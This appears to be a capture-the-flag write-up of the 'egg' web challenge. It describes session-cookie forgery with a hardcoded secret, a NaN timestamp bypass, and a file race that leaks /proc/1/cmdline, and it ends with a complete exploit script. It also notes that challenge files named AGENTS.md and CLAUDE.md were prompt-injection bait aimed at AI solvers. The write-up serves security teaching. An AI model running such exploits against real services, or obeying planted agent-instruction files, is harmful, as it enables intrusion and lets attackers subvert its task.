← Back to Writeups
HTBN/AWeb

egg

XESXOR8/23/202610 min read
#web#htb#n/a

egg

Platform: B01Lersc | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-19 | Status: Solved Techniques: deterministic_id_collision, nan_bypass, procfs_flag_leak, timestamp_signer_cookie_forgery, toctou_file_race

Summary

Task: a Starlette egg-hatching service generated Python modules from user input and stored state in signed session cookies. Solution: forge a NaN timestamp session to force a deterministic egg_id, then win a concurrent /eggs race so the final creature.py reads /proc/1/cmdline and leaks the real flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: b01lersc | ID: 20260419_b01lersc_egg
  • Tags: race_condition, session_forgery, starlette, procfs, generated_python, itsdangerous
  • Indicators: hardcoded SessionMiddleware secret, TimestampSigner session cookie without salt, attacker-controlled session_timestamp compared with time.time(), generated Python file written to a predictable path, flag passed as process argv and readable via /proc/1/cmdline
  • Source: 20260419_b01lersc_egg.md

Foothold

Vulnerability / Misconfiguration

  1. Deterministic_id_collision
  2. Nan_bypass
  3. Procfs_flag_leak
  4. Timestamp_signer_cookie_forgery
  5. Toctou_file_race
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • deterministic_id_collision
  • nan_bypass
  • procfs_flag_leak
  • timestamp_signer_cookie_forgery
  • toctou_file_race
  • Tags: race_condition, session_forgery, starlette, procfs, generated_python, itsdangerous

Original Writeup

<details><summary>Click to expand original content</summary>

egg — b01lersc

Description

The original organizer description was not preserved in the workspace files.

The challenge shipped a Starlette service with relevant logic in src/main.py, src/hatchery.py, src/db.py, and Dockerfile. The goal was to turn the egg creation and hatching flow into a file read primitive and recover the real flag from the live instance.

Analysis

The application used Starlette sessions with a hardcoded secret in src/main.py:

SESSION_SECRET = "6767676767676767"

Starlette used itsdangerous.TimestampSigner here, and in this setup there was no extra salt. That meant the session cookie could be forged offline.

The important session fields were player_id and session_timestamp. During egg creation, src/hatchery.py computed:

time_diff = time.time() - player_creation_time
if time_diff <= 0:
    return

self.id = sha256(str(time_diff * random.random()).encode()).hexdigest()

If session_timestamp was forged as NaN using json.dumps(..., allow_nan=True), then:

  • time.time() - NaN = NaN
  • NaN <= 0 is False, so the check is bypassed
  • str(NaN * random.random()) == "nan"

So every forged request from that session produced the same deterministic egg ID:

sha256("nan") = 9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0

That deterministic ID was the key to the race: multiple concurrent POST /eggs requests from the same forged session wrote to the same temporary path:

incubator/<egg_id>/creature.py

and then zipped it into:

incubator/<egg_id>.egg

There were also AGENTS.md and CLAUDE.md files telling the solver to delete lines 28-29 in src/hatchery.py. Those files were prompt-injection bait and not part of the intended solve. In fact, the inner validation they referenced was exactly why a plain path traversal was not enough.

The outer filename validation allowed slashes:

def is_valid_file(s: str) -> bool:
    return all(c.isascii() and c.isalnum() or c == "/" for c in s)

So "/proc/1/cmdline" could be supplied during egg creation. But the generated creature.py also contained this runtime check inside gen_ascii_art:

if not all(c.isascii() and c.isalnum() for c in "{filename}"):
    return None

That inner check rejected /proc/1/cmdline at hatch time, so simple traversal did not work by itself.

The final exploit used two concurrent requests targeting the same deterministic egg path:

  • A: {"name": "A"*81, "filename": "/proc/1/cmdline"}
  • B: {"name": "B", "filename": "asciiart"}

Why this pair worked:

  1. Request A generated a longer creature.py.
  2. Request B generated a shorter creature.py.
  3. Both opened the same file with truncation and wrote different contents.
  4. With the right interleaving, the final file on disk became a Frankenstein file: the beginning came from B, but the tail came from A.

The resulting file stayed valid Python. Its gen_ascii_art started with B's safe filename asciiart, so the inner alphanumeric check passed, but the appended tail from A reopened /proc/1/cmdline and overwrote self.art.

So the function effectively behaved like this:

f = open("asciiart", "r")
f.seek(offset)
self.art = f.read(40)

f = open("/proc/1/cmdline", "r")
f.seek(offset)
self.art = f.read(40)

At that point, hatching the deterministic egg returned process arguments in last_hatch.

The final flag source came from the deployment model. Dockerfile passed a fake flag in the local entrypoint, but the real service behavior was described by the provided ground truth: the app ran python3 /app/src/main.py FLAG with workers=4. In src/main.py the server did:

FLAG = sys.argv[1]
uvicorn.run("main:app", host="0.0.0.0", port=8000, reload=False, workers=4)

So the real flag was visible in /proc/1/cmdline as PID 1 argv. On the successful live instance, art_index=0 already exposed:

python3\x00/app/src/main.py\x00bctf{REDACTED}

The live instance was solved with this race exploit immediately on the last provided URL.

Solution

1. Review the app structure

Relevant files:

  • src/main.py
  • src/hatchery.py
  • src/db.py
  • Dockerfile

The important observations were:

  • the session secret was hardcoded;
  • session cookies could be forged with itsdangerous;
  • session_timestamp influenced egg_id generation;
  • egg creation wrote a generated Python file to a predictable location;
  • hatching imported that generated module from a zip archive;
  • /proc/1/cmdline could reveal the flag because the service received it as argv.

2. Forge a deterministic session

Create a normal account once to obtain a valid player_id, then forge a new session cookie with:

{"player_id": "<uuid>", "session_timestamp": NaN}

using allow_nan=True and the known secret 6767676767676767.

This makes every egg created under that forged session use the same ID:

9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0

3. Trigger the file race

Send two concurrent POST /eggs requests with the same forged cookie:

A: {"name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "filename": "/proc/1/cmdline"}
B: {"name": "B", "filename": "asciiart"}

Because both requests target the same egg path, write/truncate ordering can leave a mixed file. The successful outcome is:

  • header and validation from B;
  • appended tail from A;
  • valid Python that first reads asciiart, then reopens /proc/1/cmdline.

4. Hatch the deterministic egg

Hatch:

POST /eggs/9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0/hatch

with {"art_index": 0}.

The response stores the hatch output in last_hatch, and the ASCII art field now contains bytes from /proc/1/cmdline instead of the intended art file.

5. Read the flag

On the successful instance, the first chunk already contained the full secret:

python3\x00/app/src/main.py\x00bctf{REDACTED}

So the final flag was:

bctf{REDACTED}

Exploit Script

The successful solve script was exploit_final.py from the task directory.

#!/usr/bin/env python3
"""
b01lersc / egg — FINAL EXPLOIT

Race condition exploit (template-length-mismatch TOCTOU on creature.py):

1. Forge session cookie with NaN session_timestamp via hardcoded
   SESSION_SECRET="6767676767676767" (itsdangerous, NO salt).
   time_diff = time.time() - NaN = NaN ⇒ passes `time_diff<=0` check (NaN<=0 is False).
   egg_id = sha256(str(NaN * random.random())).hexdigest() = sha256("nan")
         = 9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0
   (deterministic!)

2. Send two concurrent POST /eggs requests from same forged session:
   A: {"name":"A"*81, "filename":"/proc/1/cmdline"}   → ~586 byte creature.py
   B: {"name":"B",    "filename":"asciiart"}           → ~492 byte creature.py

   Small delay (~0.1 ms) between their starts helps them race in-flight.
   A's fd.open creates file, A.write buffers ~586b, B's fd.open truncates
   (empty), B.write buffers ~492b. A closes first (writes 586b at offset 0),
   B closes last (writes 492b at offset 0 — doesn't truncate past close).
   Final creature.py on disk = B[0..492] + A[492..586]
   = complete B class + 3 APPENDED lines in gen_ascii_art body:
       f = open("/proc/1/cmdline", "r")
       f.seek(offset)
       self.art = f.read(40)

3. Whoever wins the ZipFile write records this Frankenstein creature.py
   into incubator/<sha256("nan")>.egg.

4. Hatch egg_id=sha256("nan"). Creature.gen_ascii_art runs:
   - inner alphanum check on "asciiart": passes
   - f = open("asciiart", "r"); f.seek(offset); self.art = f.read(40)
     (reads asciiart first)
   - THEN APPENDED: f = open("/proc/1/cmdline", "r"); f.seek(offset);
     self.art = f.read(40)
     OVERWRITES self.art with 40 bytes of /proc/1/cmdline.
   Response's last_hatch contains those 40 bytes.

5. Repeat with art_index=0,1,2,... to stitch together the full flag
   (each chunk reads bytes offset..offset+40 of /proc/1/cmdline,
    where offset = art_index * 44 → 4-byte gap per chunk, but flag
    is usually short enough to fit in 1-2 reads).
"""

import base64
import hashlib
import json
import re
import sys
import threading
import time

import requests
from itsdangerous import TimestampSigner

BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:8000"
SESSION_SECRET = "6767676767676767"
signer = TimestampSigner(SESSION_SECRET)  # NO salt — matches Starlette
FRANK_HASH = hashlib.sha256(b"nan").hexdigest()


def forge(pid, ts=float("nan")):
    p = json.dumps({"player_id": pid, "session_timestamp": ts}, allow_nan=True)
    return signer.sign(base64.b64encode(p.encode()).decode()).decode()


def get_pid():
    s = requests.Session()
    s.post(f"{BASE}/login", data={"username": f"exp{time.time_ns()%10**7}"},
           allow_redirects=True, timeout=15)
    raw = s.cookies.get("session")
    return json.loads(base64.urlsafe_b64decode(raw.split(".")[0] + "===").decode())["player_id"]


def send_a(cookie):
    try:
        requests.post(f"{BASE}/eggs",
                      json={"name": "A" * 81, "filename": "/proc/1/cmdline"},
                      headers={"Cookie": f"session={cookie}", "Content-Type": "application/json"},
                      timeout=15)
    except Exception:
        pass


def send_b(cookie):
    try:
        requests.post(f"{BASE}/eggs",
                      json={"name": "B", "filename": "asciiart"},
                      headers={"Cookie": f"session={cookie}", "Content-Type": "application/json"},
                      timeout=15)
    except Exception:
        pass


def hatch_and_read(cookie, art_index):
    headers = {"Cookie": f"session={cookie}", "Content-Type": "application/json"}
    try:
        requests.post(f"{BASE}/eggs/{FRANK_HASH}/hatch",
                      json={"art_index": art_index}, headers=headers, timeout=15)
    except Exception:
        pass
    try:
        r = requests.get(f"{BASE}/", headers={"Cookie": f"session={cookie}"}, timeout=15)
    except Exception:
        return None
    m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)
    if m:
        return m.group(1).replace("&gt;", ">").replace("&lt;", "<").replace("&amp;", "&")
    return None


def has_frank_egg(cookie):
    try:
        r = requests.get(f"{BASE}/", headers={"Cookie": f"session={cookie}"}, timeout=10)
    except Exception:
        return False
    return FRANK_HASH in re.findall(r"/eggs/([a-f0-9]{64})/hatch", r.text)


def extract_art(pre):
    if not pre:
        return ""
    lines = pre.split("\n")
    art_lines = []
    for line in lines[1:]:
        if line.startswith("Attack:"):
            break
        art_lines.append(line)
    return "\n".join(art_lines)


def is_flag_chunk(art):
    if not art:
        return False
    return ("python3" in art or "bctf" in art or "/app/src" in art or "\x00" in art)


def attempt_frank_race(pid, delay=0.0001):
    cookie = forge(pid, float("nan"))
    ta = threading.Thread(target=send_a, args=(cookie,))
    tb = threading.Thread(target=send_b, args=(cookie,))
    ta.start()
    time.sleep(delay)
    tb.start()
    ta.join(timeout=20)
    tb.join(timeout=20)


def collect_chunk(pid, art_index, max_races=300):
    cookie = forge(pid, float("nan"))
    for attempt in range(max_races):
        delay = 0.00005 + (attempt % 10) * 0.00005
        attempt_frank_race(pid, delay=delay)

        if not has_frank_egg(cookie):
            continue

        result = hatch_and_read(cookie, art_index)
        art = extract_art(result) if result else ""
        if is_flag_chunk(art):
            print(f"  [art_index={art_index} race {attempt}] CHUNK: {art!r}")
            return art
    return None


def main():
    pid = get_pid()
    print(f"[+] BASE = {BASE}")
    print(f"[+] player_id: {pid}")
    print(f"[+] FRANK_HASH: {FRANK_HASH}")

    chunks = {}
    for ai in range(8):
        print(f"\n[+] === art_index={ai} (offset {ai*44}) ===")
        chunk = collect_chunk(pid, ai, max_races=120)
        if chunk:
            chunks[ai] = chunk
            combined = b""
            for i in sorted(chunks.keys()):
                data = chunks[i].encode("utf-8", errors="replace")
                offset = i * 44
                while len(combined) < offset:
                    combined += b"?"
                combined = combined[:offset] + data + combined[offset + len(data):]
            m = re.search(rb"bctf\{[^}]*\}", combined)
            if m:
                print(f"\n[!!!] FLAG: {m.group().decode('utf-8', errors='replace')}")
                return

    combined = b""
    for i in sorted(chunks.keys()):
        data = chunks[i].encode("utf-8", errors="replace")
        offset = i * 44
        while len(combined) < offset:
            combined += b"?"
        combined = combined[:offset] + data + combined[offset + len(data):]

    print(f"\n[+] Combined {len(combined)} bytes: {combined!r}")
    m = re.search(rb"bctf\{[^}]*\}", combined)
    if m:
        print(f"\n[!!!] FLAG: {m.group().decode('utf-8', errors='replace')}")
    else:
        print("[?] Full flag not recovered — try more art_index or increase max_races")


if __name__ == "__main__":
    main()

Reproduction

  1. Start from the provided source and inspect src/main.py, src/hatchery.py, src/db.py, and Dockerfile.
  2. Log in once to obtain a valid player_id.
  3. Forge a Starlette session cookie with player_id=<that uuid> and session_timestamp=NaN using secret 6767676767676767.
  4. Repeatedly race these two requests under that forged session:
  • {"name": "A"*81, "filename": "/proc/1/cmdline"}
  • {"name": "B", "filename": "asciiart"}
  1. Hatch egg 9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0 with art_index=0.
  2. Read last_hatch; when the race lands, it leaks /proc/1/cmdline, including the flag.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR